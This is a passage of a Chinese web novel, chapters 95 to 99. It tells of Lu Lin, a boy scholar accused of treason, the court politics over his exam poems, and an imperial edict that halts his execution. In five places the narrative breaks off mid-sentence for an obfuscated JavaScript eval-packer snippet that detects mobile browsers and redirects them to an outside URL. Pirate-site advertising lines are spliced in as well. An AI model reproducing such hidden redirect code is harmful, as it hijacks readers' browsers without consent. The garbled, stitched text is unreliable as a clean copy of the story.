却见王晋不急不缓地从袖袍中取出了一份书稿。 王晋将书稿托在掌心,环视全场,朗声道: “陛下容禀。 “清河县知县与教谕,两人文位不过举人,身处异象中心的清河县,才气却丝毫无损。 “只因,他们在县试之中,曾亲眼看过这份《圣策九字》的原稿。 “臣来之前,也曾做过试验。 “这份原稿,可让读书人免于才气被截取之厄,解我大夏之危! 第95章 柳拱 一个时辰后,文华殿外广场上。 率先出来的王晋站在广场一角,双手负在身后,毫不介意陆续从文华殿内走出官员一道道异样目光。 他一点都不介意暴露自己和柳阁老的关系。 今日经筵日讲,自己公然为卢璘站台。 有心人只需稍作打探,便能知晓他与心学的关系,自然也能猜到他与柳阁老如今站在了同一条船上。 不多时,柳拱的身影出现在殿门口。 他走下台阶,步履沉稳,脸上看不出半分在殿内被昭宁帝步步紧逼的窘迫。 王晋看着他,嘴角一勾,迎了上去。 两人并肩而行,一同朝吏部官署方向离去。 吏部。 作为总管大夏官员考核、选拔、任免之所,吏部素有六部之首的称谓。 身为吏部尚书的柳拱,在官场上,亦有天官之名,可算百官之首。 但在大夏,还有一个独立于六部之外的圣院。 内阁首辅宴居,正是圣院的执掌者,一手把控着大夏最顶端的超凡力量。 地位还要高半层。 书房内,檀香袅袅。 柳拱亲自为王晋沏上一杯茶,屏退了左右。 “先生,没想到璘哥儿的事,居然连您也惊动了。” 柳拱的称呼,足以体现他的态度。 即便王晋并无官身,但单凭大儒的文位,柳拱便不敢有丝毫怠慢。 他知道王晋的来历,是沈春芳的师兄,是心学上一代的扛鼎之人。 为了一个卢璘,沈春芳竟能将这位都请出山。 王晋微微颔首,顺着卢璘的话题开口: “卢璘已是我心学门人,品性如何,我心里有数,反诗一事,纯属无稽之谈,于情于理,我都该来一趟。” 柳拱闻言,脸色不变,心中却默默叹了口气。 当初沈春芳收下卢璘为弟子时,他便想到了会有这么一天。 只是以心学如今这般式微之势,让璘哥儿此刻加入,也不知究竟是福是祸。 “今日在文华殿,多亏了师兄。”柳拱换了个称呼,语气里多了几分亲近。 “若非您在,我当真是快要束手无策了。” 王晋却摇了摇头,脸上 露出一丝笑意。 “柳阁老谦虚了。” “西域使团早不来晚不来,偏偏在这个时候向圣上请求开坛讲道。” “讲道的话题,又恰好是以读书人为题。” “这其中若是没有柳阁老在背后推动,我是不信的。” 王晋的猜测,可不是空穴来风。 西域使团的出现太过凑巧,话题也太过凑巧。 看来所有人都小瞧了这个内阁次辅,竟想出了这么一招曲线救国的方式,给卢璘创造出破局机会。 被王晋点破,柳拱也不介意,两人在卢璘这件事上,已是天然的盟友。 “先生,璘哥儿他在牢里如何?这次谋逆案,怕是要错过这次童试了” 王晋神情淡然,摇头: “卢璘这一路走来,太过顺遂,让他在临安府大牢里待着,磨一磨性子,不是坏事。” “再说了,这次圣上同意让他赴京和佛门论道,如果表现出彩,以圣上的性子,说不定另开恩科呢?” 说到这里,王晋话锋一转,眼中闪过疑惑。 “只是有一事,我有些不解。” “来之前,璘哥儿曾托人带话,说他在府试第三场所作的战诗词,足以明志,洗脱所有嫌疑。” “可为何,我从未听闻过这第三首战诗词的半点风声?” 柳拱闻言,端着茶杯的手,微微一顿,脸上满是错愕。 第三首战诗词? “礼部带回来的,不是只有前两首战诗词吗?” 与此同时 翰林学士陈斯府中。 书房内烛火摇曳,陈斯靠在椅背上,双目紧闭。 脑袋里回想着今日文华殿上的一幕幕。 钦天监的陌生面孔,居然是心学大儒王晋。 柳阁老啊,还真是恋栈居位,为了这个保住位置,连心学都勾搭上了。 也不知道付出了多大的代价,请出了王晋这个心学大儒。 本以为是十拿九稳的必杀之局,却被一个凭空冒出来的王晋,用一桩临安府才气截取之事给搅得天翻地覆。 还有这个卢璘。 本是一枚用来攻讦柳拱的棋子,在其中到底扮演什么角色? 居然摇身一变成了关乎国本的关 键人物。 陈斯越想,越觉得头脑发胀,最后只能长叹一口气。 这时,书房门被推开,夫人端着一个白玉小盅走了进来。 “老爷,看您一脸倦容,妾身让厨房炖了些安神的补品。”夫人将玉盅轻轻放在桌上,声音温婉。 “这是晋阳商会特意送来的紫河雪参羹,说是今年新得的珍品,最是滋养神思。” “还有咱们府里过冬的炭火皮**,商会那边也都提前派人送来了,样样都是顶好的,价值不菲呢。” 陈斯缓缓睁开眼,点了点头。 这世上,从来没有无缘无故 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453145|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好处。 他当然知道这碗参羹的分量,更清楚晋阳商会如此殷勤的目的。 座师是当朝户部尚书,内阁排名第三的阁臣,本身便出自晋阳府。 自己与座师关系匪浅,在官场上早就是一荣俱荣,一损俱损。 以晋阳商会那帮商贾八面玲珑的手段,又怎会忽视自己这个座师门下的得意门生。 如今,商会那边正不遗余力地四处奔走,为的,就是让座师在内阁的位次,能再往前挪一挪。 晋阳商会越来越大了,光是一个户部尚书,可远远不够,满足不了他们的胃口。 圣院那个位置不敢想,但以眼下圣上对柳拱的态度,若是多方运作,取而代之,成为新的次辅,机会极大。 想到这里,陈斯心中又升起一丝烦躁。 他摆了摆手,示意夫人将参羹端下去。 就在这时,一名下人快步走到门口,躬身来报。 “老爷,二老爷来了。” “让他进来。”陈斯吩咐道。 不多时,一个身着青色官服的中年男子快步走进书房。 来人正是礼部郎中陈济,也是当初在临安府府试时,亲手将卢璘那份反诗试卷从废卷堆里找出来的礼部官员。 “大哥。” 陈济一进门,便迫不及待地开口: “那桩谋逆案不是证据确凿吗?” “为何圣上会突然下旨,让那个卢璘赴京,还要让他代表我大夏读书人,去和西域佛门论道?” 今日他正在礼部当值,这消息便传得沸沸扬扬。 他知道兄长今日参加了日讲经筵,几乎是掐着时辰,一散衙便立刻赶了回来,就是想问个究竟。 陈斯并未直接回答,反问道:“你在临安府,亲眼看过卢璘的卷子。” “你觉得,此子才学如何?” “若是对上佛门,有几分胜算?” 陈济闻言一怔,随即陷入了思索。 片刻后,他才斟酌着开口:“才华横溢,远超同济。” “光是那前两首战诗词,便已是鸣州之作。” “至于对上佛门有几分胜算……这个,我实在拿不准。” 陈斯听完,若有所思,又追问了一句: “第三首呢?此次府试不是共有三场吗?” 陈济脸上露出茫然之色。 “什么第三首?” “有第二首那等反诗,便已是铁证如山,足以定下谋逆大罪了。” “那第三首,我根本就没看。” “想来,应是作为案卷证物,一并呈送大理寺了。” 第96章 宣清河卢璘! 与此同时,大理寺官署。 夜色深沉,灯火昏黄。 从宫内急忙赶回官署的大理寺少卿冯瞻喊来属官: “把卢璘谋逆案的卷宗整理好,圣上要看。” 那名属官闻言一愣,下意识地开口: “大人,这么晚了圣上还要看?” “这案子不是已经成了定局吗?柳阁老家风不正,识人不明,这下……” 话未说完,便被冯瞻一道冷眼打断。 “我记得,你的籍贯是晋阳府,没错吧?” 那名属官脸上的血色瞬间,额头上渗出细密的冷汗,再不敢多说一个字。 冯瞻收回目光,声音听不出喜怒: “做好你分内的事。” “柳阁老,眼下还是内阁次辅。” “你这么积极地为杨阁老奔走,就不怕大祸临头,惹祸上身吗?” 杨阁老就这么沉不住气? 这么着急,就想坐上那个次辅的位置?连我大理寺都已经被渗透到这个地步了。 可想而知其他部门。 冯瞻心中冷笑,对这朝堂上的风云变幻,他心里再清楚不过。 但并没有半点倾向,只做看客。 无论是柳阁老,还是首辅,亦或是现在积极奔走的杨阁老。 谁上谁下,与他何干? 那名属官噤若寒蝉,连声称是,手脚麻利地将所有相关文书整理成册,双手恭敬地奉上。 冯瞻没有停留,接过卷宗,转身就离开了大理寺官署。 …… 半个时辰后,御书房外。 冯瞻理了理官袍,来到廊下,见到了值夜的宫女。 “圣上心情如何?” “回大人,圣上刚才写了几幅字,都不满意,已经让人拿出去烧了。”宫女屈膝一礼,低声提醒道。 冯瞻心中了然。 圣上对自己的书法向来自信,如今接连几幅字都不满意,看来此刻心情不佳。 自己此行,须得更加谨慎。 他整理好神情,在宫女的通传后,迈步走入殿内。 书房内,昭宁帝一袭素色宫装,正立于书案前,手持一支毛笔,着眼于眼前的宣纸之上。 冯瞻躬身请安,昭宁 帝却恍若未闻,依旧在笔走龙蛇。 冯瞻不敢打扰,只能垂首立于一旁,安心等待。 不知过了多久,听见昭宁帝传来一声叹息。 冯瞻抬头一看,只见昭宁帝已经停笔,眉头轻蹙,略带自嘲的开口: “朕自书法入门,已有数十载光阴。” “遍览前朝各大家之作,却始终不得其门而入,踏不进那意境之道。” 冯瞻闻言,愈发不敢多言。 意境之道,何其艰难。 早已超越了技法本身,是不见字形,只观神采的书法道境。 圣上能在这个年纪,有此等书法造诣,已是天赋异禀了。 这时,昭宁帝摆了摆手,示意宫女将文房四宝收起。 而后目光落在了冯瞻身上。 “卢璘谋逆一案的卷宗,呈上来吧。” 白日里在文华殿,听了王晋对卢璘的评价,昭宁帝才猛然想起,自己竟还未曾仔细了解过这桩谋逆案。 连卢璘府试写下的几首战诗词,都是从别人口中得知。 这才有今夜宣召冯瞻一事。 “是。” 冯瞻躬身上前,将怀中的卷宗高高举过头顶。 “陛下,卷宗之内,包括卢璘在临安府府试中所作的三首战诗词,以及……” 话音未落,冯瞻便看到御座之上的昭宁帝,突然挥手打断了他。 烛火下,昭宁帝的眉头紧蹙,一双凤目死死地盯着手上的考卷。 “这个字迹……” 御座之上,昭宁帝就这么一动不动的看着手中考卷,神情前所未有的专注。 冯瞻垂首立于殿下,连呼吸都刻意放缓,不敢发出半点声响。 时间缓缓流逝。 终于,约莫一炷香之后。 昭宁帝放下了手中的考卷。 “来人。” “奉文房四宝。” 殿下的冯瞻敏锐地把握到了昭宁帝声音中的急切,心中愈发疑惑,圣上这是怎么了,怎么又忽然要动笔。 一名宫女应声而入,手脚麻利地研墨铺纸。 只见昭宁帝深吸一口气,提起笔来,笔尖饱蘸墨汁,悬于宣纸之上。 下一刻,手腕翻飞,笔走龙蛇。 冯瞻在一旁细细看着,只觉得圣上此刻的笔法和神态与先前截然不同。 相比于之前的滞涩,这次下笔挥洒自如,意气风发,圣上的眼睛也越来越亮。 终于,最后一笔落下。 昭宁帝放下手中的毛笔,看着眼前一气呵成的字,长长地舒了一口气。 “数十载苦练,不得其门。 “没想到,今日竟借一稚子之笔,助朕,踏入了这书法道境。 小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453146|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节) 此言一出,冯瞻愣住了。 书法道境! 圣上苦练多年,不得门而入的境界,就这么破了? 看来柳阁老这个次辅的位置,还能再安安稳稳地坐上一段时日了。 冯瞻压下心中猜测,连忙躬身下拜: “恭喜陛下,贺喜陛下! “陛下天纵之资,书法一道终入化境,实乃我大夏之幸! 昭宁帝却缓缓摇了摇头,目光再次落回卢璘卷宗上。 “要论天资,此子,更在朕之上。 “他的字,已然自成一派,有了大家风范。 “而且,是开宗立派,走出了自己的路。 冯瞻更加震撼。 他看过卢璘的履历,一个十二岁稚童,怎么可能在书法一道上,达到这种境界? 莫不是.天授之才? 激动过后的昭宁帝,心绪渐渐平复,她再次拿起卢璘的考卷。 《满江红》。 目光直接落在了最后一句。 “待从头,收拾旧山河,朝天阙。凤眸中略带复杂之意。 她听过这句词,也知道朝堂上下的争议。 模棱两可,可以有很多种解读。 但她并不在乎。 一个卢璘,不过是柳拱这颗树上的枝叶,对她而言无足轻重。 柳拱老了,手段也软了,在与宴居的博弈中处处被动。 朝堂不能一家独大,需要一个更有手段的次辅,来替她平衡宴居的势力。 卢璘是不是谋逆,根本不重要,重要的是,这让柳拱下台的借口。 此子才华的确可惜,但大夏万兆子民,最不缺就是有才华的人。 可如今,亲眼见到他这笔字,昭宁帝才明白。 这不仅仅是才华横溢那么简单。 原本坚定的心思,出现了一丝动摇。 想着,她又拿起了第三张考卷。 宣纸揭开。 《镇北行》三个大字,映入眼帘。 “黑云压城城欲摧,甲光向日金鳞开。 …… “报君黄金台上意,提携玉龙为君死。 昭宁帝反复轻声念着最后一句,嘴角突然扬起笑意,抬起头,看向殿下垂首静立的冯瞻。 “来人,拟旨。 “宣清河卢璘,择日进京面圣,不得有误。 第97章 择日问斩! 与此同时。 临安府监牢内。 卢璘所在的牢门前,周砚一改此前温润君子模样,脸色阴沉的可怕。 “不知死活的东西。” “你以为拖延时间,就能逃过此劫不成?” 隔着栅栏,周砚目光阴冷的盯着卢璘: “原以为你是个聪明人,懂分寸,识大体。” “念在你年幼的份上,给你按个无知的罪名,留你一条性命。” “没想到,你居然如此死不悔改。” 牢房内,卢璘缓缓抬起头。 几日不见天日,再加上这段时间心力消耗,卢璘的神色比进来时更加憔悴,整个人明显瘦了一截。 但那双眼睛,却愈发明亮。 卢璘闻言淡然一笑,一点也没把周砚的威胁当一回事。 “周大人何出此言?” “你让我把写出《满江红》的前因后果交代清楚,我说得明明白白。” “此事和柳阁老无关,府试三首,全是我个人之作。” “何来耍周大人一说?” 卢璘默默地叹了口气,自己已经尽力在拖延。 可周砚不是傻子,耐心总有耗尽的一刻。 也不知道夫子和王师伯在京都那边,到底进行得怎么样了。 “哼。”周砚发出一声冷笑,眼中的轻蔑毫不掩饰。 他当然知道卢璘的底气来自何处。 无非是指着柳阁老还有翻身的机会。 “真是见了棺材也不掉泪。” “你还指望着柳阁老能救你?” “告诉你也无妨,就在今天上午,京都传来消息。” “日讲经筵之上,圣上已经明确表达了对柳阁老的不满。” “柳阁老下台已经是定局了,连他都要被清算,更何况你一个小卒。” 周砚死死地盯着卢璘,想从卢璘脸上察觉到半点慌张。 但很明显,周砚失算了,卢璘脸色如常,甚至转过身,不愿再听周砚废话。 周砚见状,耐心彻底告罄,猛地一甩袖袍,咬牙切齿道: “我给过你机会。” “是你自己找死。” “今天,我就断了你所有的念想!” 说完,转身对身后的狱卒厉声道: “来人,把他给我带出来!” …… 不久之后,临安府府衙。 大堂之内,气氛肃杀。 高堂上悬着一块“公正廉洁”四个大字的牌匾,两侧衙役手持水火棍,面无表情地分列站立。 全身被枷锁镣铐牢牢锁住的卢璘被两名衙役一路押到了大堂中央。 高堂主位上,大理寺周砚换上了一身崭新的官袍,正襟危坐,神情倨傲地俯视着卢璘,心里冷笑一声。 “既然你不知死活,那自己今天就借这临安府的公堂,当着所有人的面,把罪名给定**。” 左右京都那边已经尘埃落定,到时候程序上补救一下罢了。 府衙之外,早已是人山人海,人声鼎沸,里三层外三层围了个水泄不通。 昨天府试刚刚结束,今日正是等待放榜的休息日。 听闻清河县十二岁案首,写下传天下文章的卢璘,因谋逆大罪在此公开审判,整个临安府的读书人都被惊动了,纷纷前来围观。 人群中,议论声此起彼伏。 “小小年纪,心思便如此不正,居然牵扯到了谋逆大案,真是可惜了这份天资。”一个身着锦缎长衫的学子摇头叹息,满脸的惋惜。 旁边立刻有人发出不屑的嗤笑。 “可惜什么?” “什么天资,我看未必。” “清河县那种穷乡僻壤,能出什么惊才绝艳的人物?” “要我说,那篇传天下的《圣策九字》,说不定就是柳阁老代笔的!” “如今东窗事发,不过是自食恶果罢了。” “没错,否则怎会如此死心塌地为柳家卖命!” 嘲讽声,讥笑声,不绝于耳。 这时,人群外围突然传来一阵凄厉的哭喊。 “让开!都让开!” “我儿子是冤枉的!” 一道撕心裂肺的声音传来,人群骚动起来。 卢厚和李氏拼了命地从人群中挤了进来,少爷也满脸焦急地紧随其后。 当看到被押在堂上儿子一副满脸憔悴,身披枷锁镣铐的样子。 悲痛欲绝的李氏眼前一黑,几乎要昏死过去。 好在一旁的卢厚及时伸出手,一把扶助了她。 可卢厚也好不到哪去,突闻噩耗,本就满心担忧,一看到璘哥儿的这幅憔悴的不成人形的样子。 卢厚顿时双眼通红,心如刀绞。 “璘哥……少爷低声喊了一句,眼中也满是焦急。 他们本在柳府的别院里耐心等着,突然听到下人传来璘哥儿要被公开审判的事。 这才不顾一切地赶了过来。 怎么会这样? 爷爷呢?夫子呢? 他们不是说十拿九稳,璘哥儿肯定不会有事的吗? 怎么会走到公堂问斩这一步! 听到呼喊声,卢璘的身子一顿,转过头来。 一眼看到李氏哭成这幅模样,鼻子一酸,差点就按捺不住。 还好一阶段修身附带的神通【明心见性】即时生效,才让卢璘冷静下来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453147|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行。 和官家正面对抗是最后一步棋,现在还没有到这一步。 一旦自己有任何过激的举动,便会立刻坐实罪名,正中某些人的下怀。 到那时,不是谋逆也成了谋逆。 说实话,哪怕一直被关在临安府监牢,卢璘心里一直有底的。 一方面知道自己什么情况,反诗不过是恰巧卷入了朝堂倾轧。 哪怕被定了罪名,以大夏读书人的特权,也是有翻盘的机会。 另一方面,王师伯在离京前,曾给卢璘留了后手,足以让他从临安府内安全脱身。 可走,毕竟是下下之策。 一旦逃走,谋逆的罪名便再也难以洗刷。 自己的身家性命固然保全了,但也相当于自绝于大夏读书人体系。 连带着爹娘后半生的安稳,还有夫子与柳阁老的名声都再难挽回。 所以,事情还没到最后一步之前,只能相信夫子,相信王师伯了。 卢璘的目光越过人群,眼神镇定地和少爷对视了一眼。 他微微动了动下巴,示意少爷先安抚好爹娘。 被卢璘的情绪感染,少爷心稍稍安定,微微点头,表示明白了意思。 他连忙上前,一左一右地扶住情绪几乎崩溃的卢厚与李氏。 这时,高堂之上,传来一声一声惊堂木 的巨响。 “砰! 主位上,周砚目光扫过全场,最后落在卢璘身上,冷声开口道: “案犯卢璘,于临安府府试之中,罔顾圣恩,公然写下反诗《满江红》,字字句句,包藏祸心,其心可诛! “证据确凿,罪无可赦! “本官宣判,卢璘谋逆罪名成立! “依大夏律,剥夺其童生身份,所有功名一并废除! 李氏闻言只觉得眼前一黑,再也撑不住,整个人软软地倒了下去。 “当家的! 卢厚手忙脚乱地抱住昏死过去的李氏。 同时,睁着一双布满血丝的双眼死死盯着高堂上的周砚,口中狂呼: “冤枉啊!官老爷!我儿子是冤枉的! 说更新,记住域名caixs?(请来才小 说 看最新章节 完整章节) “求求官老爷放我们一家三口一条活路吧! “璘哥儿从小就是个好孩子,怎么可能谋逆啊!求官老爷明察啊! 周砚心坚如铁,对卢厚的哭喊置若罔闻。 手中的惊堂木再一次狠狠地拍下: “来人! “将死囚卢璘,押入死牢! “择日问斩! 第98章 刀下留人! 府衙之外,围观人群,在听到择日问斩四个字后,彻底炸开了锅。 “竟然是真的谋逆大罪。” “可惜了,这卢璘能写出《圣策九字》这等传世文章,没想到居然是这等结局。” 一个身着锦缎长衫的学子摇头叹息,发出一声物伤其类的感叹。 数日前,他和卢璘还曾是同一考场里的同侪。 如今却马上要落得身首异处。 旁边立刻有人发出嗤笑: “可惜什么?” “这等狂徒仗着自己有点天赋,公然写下反诗,简直是死有余辜。” “没错,视我大夏朝法度如无物,今日不死,他日高居庙堂之上,更加是大祸。” 不远处,少爷听到问斩二字,脑袋顿时一片空白。 不是说璘哥儿绝不会有事的吗! 一旁的卢厚,更是懵了,回过神之后,老实巴交了一辈子的卢厚爆出一声嘶吼,疯了一般朝着公堂冲去。 “要砍我儿子的头,先砍了我的头!” “你们这群天杀啊!” 两名衙役立刻上前,手中杀威棒交叉,死死将他拦在堂外。 高堂之上,周砚见卢厚竟敢咆哮公堂,脸色愈发阴沉。 他眼中闪过一丝狠厉,下令道。 “冲撞公堂,咆哮朝廷命官,给本官乱棍打出!” “生死不论!” 衙役闻言,眼中凶光一闪,高高举起了手中的水火棍,正要朝卢厚身上挥去。 这时,一道声音陡然响彻公堂。 “住手!” 堂上堂下,瞬间一静。 所有人的目光,齐刷刷地汇聚到了那个全身披着沉重的镣铐枷锁的卢璘身上。 卢璘缓缓抬起头,身体猛地一抖,咔嚓声响起,身上一道道枷锁镣铐应声而断。 高台上的周砚见状,一句大胆逆贼还没从口中说出。 就看到卢璘目光笔直地射向自己,一字一句,声寒如铁。 “鞭笞天下以奉一人,堵塞众口以饰太平。” “这,便是尔等所谓的昭宁盛世吗?” 卢璘心中清楚,说出这番话,便再无半点转圜的余地。 但他不后悔。 爹娘 的性命悬于一线功名、未来、甚至大夏读书人的身份在这一刻什么都比不上他们的安危。 话音落下全场骇然! 围观的读书人听到卢璘这几句话脑袋里同时升起一个念头。 疯了! 此人一定是疯了! 刚才那番话字字诛心简直是把当今女帝的脸皮狠狠扯下来踩在脚底下再用力的碾了碾! 公然嘲讽圣上的功绩指责当今圣上有眼无珠**! 这天下哪个皇帝能容得下这等狂徒! 人群中刚刚悠悠转醒的李氏正好听到了儿子这番话。 她眼前又是一黑整颗心都凉透了。 完了。 这次是真的完了。 连李氏一介妇人都知道公然辱骂圣上是什么下场! 少爷整个人浑身发抖双拳紧握本以为他是怕的没想到少爷整个人眼珠子放光! 这才是璘哥儿啊! 这才是他自己了解的璘哥儿啊! 主位上周砚的脸色已经从阴沉变成了惊恐。 他万万没想到卢璘敢说出如此大逆不道之言。 此事若是传到京都传到圣上耳中自己这个主审官也难逃干系! “住嘴!” 周砚猛地一拍惊堂木厉声打断。 “大胆狂徒死到临头还敢妖言惑众!” 卢璘对他色厉内荏的咆哮置若罔闻不气反笑声音陡然拔高。 “大夏太祖和至圣先师若是知道不知道会作何感想!” “这就是他们想要的盛世吗?” “三百年江山竟养不出一双明辨忠奸的眼!” 卢璘缓缓转过身目光扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453148|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂外那些震惊恐惧幸灾乐祸的读书人。 “诸君且看!” “这朗朗乾坤究竟是我卢璘谋逆还是尔等眼瞎心盲!” 周砚再也听不下去他怕卢璘再说出什么惊世骇俗之言让自己彻底万劫不复。 他不想再给卢璘开口的机会了! “来人!” 周砚从座位上霍然起身指着卢璘声嘶力竭地咆哮: “咆哮公堂罪无可恕!” “杀无赦!” 一声令下整个府衙大堂死一般的寂静。 衙役们握紧了手中的杀威棒带着一身煞气一步步围向卢璘。 所有人屏气凝神目光注视着堂内的卢璘。 然而面对即将围上来的衙役们卢璘却异常淡定。 甚至还有闲心回过头朝着爹娘露出了笑容。 与此同时卢璘体内的才气已经在疯狂运转尽数涌向袖中的一本古朴册子中。 就在杀威棒即将落下的一瞬间。 府衙之外突然传来一声怒吼。 “刀下留人!” 声音一传来瞬间压过了堂上堂下的嘈杂。 正要挥落的水火棍也硬生生停在了半空。 衙役们动作一僵循声望去。 堂外围观的人群也下意识地转头。 一行人缓缓走进了临安府府衙。 为首的是一名面白无须的中年太监 在他的身后跟着一队身穿玄青色儒袍的护卫。 一个个身形挺拔面容冷峻腰间佩着制式相同的长刀行走之间自有一股渊渟岳峙的气度。 儒袍胸口处写着“浩然”二字。 临安府府衙内稳坐在主位上的周砚见到来人后表情瞬间凝固。 怎么会是高公公亲自驾到? 这可是当今圣上还未登基时便一直侍奉在身边的御前总管! 深得圣上信重。 而跟在高公公身后的更是直属于圣院的禁军部队浩然卫! 第99章 宣旨! 向来在御前照顾圣上的高公公,带着浩然卫来临安府是何意? 难不成京都发生了什么变故? 周砚心里咯噔一声,但脸上却没有表现异常,迅速起身,三步并作两步,亲自迎了上去。 哪怕还间隔着不少距离,脸上就已经挂上了笑容。 “下官大理寺周砚,不知高公公大驾光临,有失远迎,恕罪,恕罪。” 高公公闻言淡淡点头,脚步没有丝毫停顿,径直走进府衙内,在距离卢璘一丈处左右停了下来。 而后目光一转,落在卢璘身上,开口道: “你就是卢璘?” 卢璘闻言眉头一皱,点头的同时,袖中古籍已经灌满了才气,随时可以发动。 对方明显是冲自己来的。 只是不知道是何来意。 也不知道王师伯的后手,能否应付得了眼前这个局面。 毕竟王师伯只说了能保他在临安府内安全无虞。 可对方是从京都而来,看周砚这个态度,对方的品级就不会低。 卢璘摸不清高公公的来意,周砚心里更是七上八下,也摸不清对方的来意。 是冲卢璘来的没错,可不一定是京都发生了变故。 难道是要将卢璘押回京都,明正典刑? 极有可能! 想到这里,周砚心中又燃起一丝希望。 他连忙上前一步,指着卢璘,急切地开口: “高公公,此人正是谋逆案犯卢璘!” “府试之中公然写下反诗,方才更是咆哮公堂,公然辱骂圣上,一身反骨,无君无父,罪大恶极,天地不容!” 周砚一边说着,一边小心翼翼地观察着高公公的反应。 然而,他预料中的反应并未出现。 却看到高公公回过头,轻飘飘看了他一眼,那眼神满是淡漠。 仅仅一眼,周砚便心底一沉。 “谋逆罪?”高公公的声音依旧平淡。 “卢公子一片忠君报国之心,可是圣上亲口夸赞过的。” “咱家倒是不知,什么时候,你大理寺可以不经三司会审,不待圣上批红,就能先斩后奏了?” 轰! 周砚闻言,脸色瞬间发白,额头上渗出 了一层冷汗。 完了。 京都,果然出事了。 柳阁老这是翻盘了啊? 除了这种可能,周砚再也想不出任何其他的解释。 高公公不再理会周砚,转回头,目光重新落在卢璘身上,仔细地打量着。 眼中的欣赏之色,毫不掩饰。 “果然是字如其人,丰神如玉,是个谦谦君子。” 此子虽然神情憔悴,略显削瘦,但身形挺拔,骨相极佳。 高公公心中暗自点头,圣上在书法之道上困顿多年,早已成了心结。 没想到,只是观摩了这人的字,便大受启发,一举破境。 光凭这一点,此子便已是简在帝心。 日后的前途,不可限量。 周砚看着高公公对卢璘的态度,心中最后的侥幸彻底破灭。 不行! 不管京都发生了什么,卢璘,今天必须死在这里! 他硬着头皮,再次上前。 “高公公,此人胆大包天,狂悖无君,您来之前,他胆大包天,不知死活地嘲讽我昭宁盛世!” “还放狂言说:鞭笞天下以奉一人,堵塞众口以饰太平。” 周砚将卢璘方才那番诛心之言,一字不差地复述了一遍。 高公公闻言,看向卢璘的眼神微微一顿。 还真是个胆大包天的小子,什么话都敢往外说。 这番话要是原封不动地传到圣上耳朵里,好不容易挣来的那点印象分,怕是立刻就要败光了。 也罢,看在你让圣上破境有功的份上,帮你一把。 闻言,高公公冷哼一声,挥手打断了周砚。 “是不是谋逆,是不是欺君,圣上自有圣裁。” “轮不到你在这里多嘴。” “来人。” “宣旨!” 话音落下,身后一名小太监立刻躬身,双手捧上了一卷明黄色的圣旨。 “跪!” 高公一声清喝。 堂上堂下,黑压压跪倒一片。 周砚见状,心里叹了口气,双膝一软,重重地跪在地面上。 府衙内外,只有卢璘一个人皱着眉头,没有动作。 高公公见状,轻笑一声, 开口提醒道:“怎么,卢公子敢抗旨不成?你可要想清楚,抗旨不尊是什么后果!” 【明心见性】加持下,卢璘敏锐察觉出对方言语中的善意,点点头,拂衣跪下。 “奉天承运,皇帝诏曰。” “清河县童生卢璘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453149|185271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,才思敏捷,心怀家国,特召其择日进京面圣,不得有误!” “钦此!” 声音落下,全场死寂。 紧接着,少爷的欢呼声在人群中响起。 “吾皇万岁万岁万万岁!” 下一刻,府衙外围观的人群瞬间炸开了锅。 “这这是怎么回事?我没听错吧?圣旨里说卢璘.心怀家国?” “前脚还要问斩,后脚圣上就下旨夸奖,这谋逆案,难不成还有什么转机?” “肯定是圣上惜才啊!能写出《圣策九字》这等传天下文章的人,怎么可能是乱臣贼子?” 